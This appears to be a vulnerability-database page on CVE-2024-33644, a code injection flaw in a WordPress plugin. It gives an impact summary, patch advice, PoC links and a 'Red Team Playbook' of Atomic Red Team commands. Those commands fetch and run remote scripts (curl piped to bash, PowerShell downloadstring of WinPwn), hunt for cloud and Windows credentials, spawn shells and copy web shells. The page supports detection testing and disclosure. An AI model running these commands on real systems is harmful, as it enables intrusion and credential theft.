CVE-2024-33644
Overview
This vulnerability is a code injection flaw rooted in improper handling of dynamically generated code within the WPCustomify Customify Site Library plugin. The issue arises from insufficient validation or sanitization of user-supplied input that is subsequently executed as code, affecting the Customify Site Library component in versions up to 0.0.9. This improper control over code generation enables injection of malicious instructions into the application’s runtime environment.
Vulnerability Description
Improper Control of Generation of Code ('Code Injection') vulnerability in WPCustomify Customify Site Library allows Code Injection.This issue affects Customify Site Library: from n/a through 0.0.9.
Impact
An attacker with a low-privileged account can exploit this vulnerability to execute arbitrary code on the affected server, potentially gaining full control over the WordPress environment. This can lead to unauthorized data access, modification, or destruction, as well as lateral movement within the hosting infrastructure. No user interaction is needed, increasing the risk of automated exploitation and widespread compromise of affected sites.
Solution
Upgrade the WPCustomify Customify Site Library plugin to a version later than 0.0.9, as advised by the Patchstack security bulletin available at https://patchstack.com/database/vulnerability/customify-sites/wordpress-customify-site-library-plugin-0-0-9-remote-code-execution-rce-vulnerability?_s_id=cve. The advisory provides detailed patch instructions and recommends immediate update to remediate the code injection vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability associated with improper control of code generation, specifically within the Customify Site Library, presents a significant security risk due to its potential for code injection. This flaw allows an attacker to manipulate the execution of code within the application, leading to unauthorized actions being performed on the server or client side. The underlying issue arises from inadequate validation and sanitization of user input, which enables malicious actors to inject arbitrary code. This can occur when the application processes user-supplied data without proper checks, allowing for the execution of harmful scripts or commands that can compromise the integrity of the system.
Attack vectors for this vulnerability are varied and can be exploited in multiple ways. An attacker may leverage forms, APIs, or any input fields within the application that interact with the Customify Site Library. By crafting a payload that includes malicious code, the attacker can submit this through the application’s interface. Once the code is injected and executed, it can lead to a range of detrimental outcomes, such as unauthorized data access, data manipulation, or even complete system takeover. Additionally, the exploitation can be conducted remotely, making it accessible to a wide range of attackers without the need for physical access to the affected systems.
The real-world impact of this vulnerability can be profound, particularly for businesses that rely on the Customify Site Library for their web applications. The potential for code injection can lead to severe business risks, including data breaches, loss of customer trust, and significant financial losses. Organizations may face regulatory repercussions if sensitive data is compromised, leading to fines and legal challenges. Furthermore, the damage to reputation can have long-lasting effects, as customers may be hesitant to engage with a business that has experienced a security incident. The high CVSS score of 9.9 underscores the critical nature of this vulnerability, indicating that it poses a severe threat to the confidentiality, integrity, and availability of affected systems.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular code reviews and security assessments can help identify areas where user input is not adequately validated. Employing web application firewalls (WAFs) can provide an additional layer of defense by filtering out malicious requests before they reach the application. Additionally, adopting secure coding practices, such as input validation and output encoding, can significantly reduce the risk of code injection vulnerabilities. Organizations should also maintain up-to-date software and libraries, ensuring that they are protected against known vulnerabilities and exploits.
In conclusion, the improper control of code generation vulnerability within the Customify Site Library represents a critical security concern that can have far-reaching implications for organizations. Understanding the technical details, potential attack vectors, and real-world impacts is essential for developing effective detection and mitigation strategies. By prioritizing security measures and fostering a culture of cybersecurity awareness, businesses can better protect themselves against the risks associated with code injection vulnerabilities and safeguard their assets and reputation in an increasingly hostile digital landscape.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Akshath-Nagulapally/ReproducingCVEs_Akshath_Nagulapally
Reproducing the following CVEs with dockerfile:CVE-2024-33644 CVE-2024-34370 CVE-2024-22120
|
Akshath-Nagulapally | 0 | 0 | 2024-08-20 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-33644 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/vulnerability/customify-sites/wordpress-customify-site-library-plugin-0-0-9-remote-code-execution-rce-vulnerability?_s_id=cve |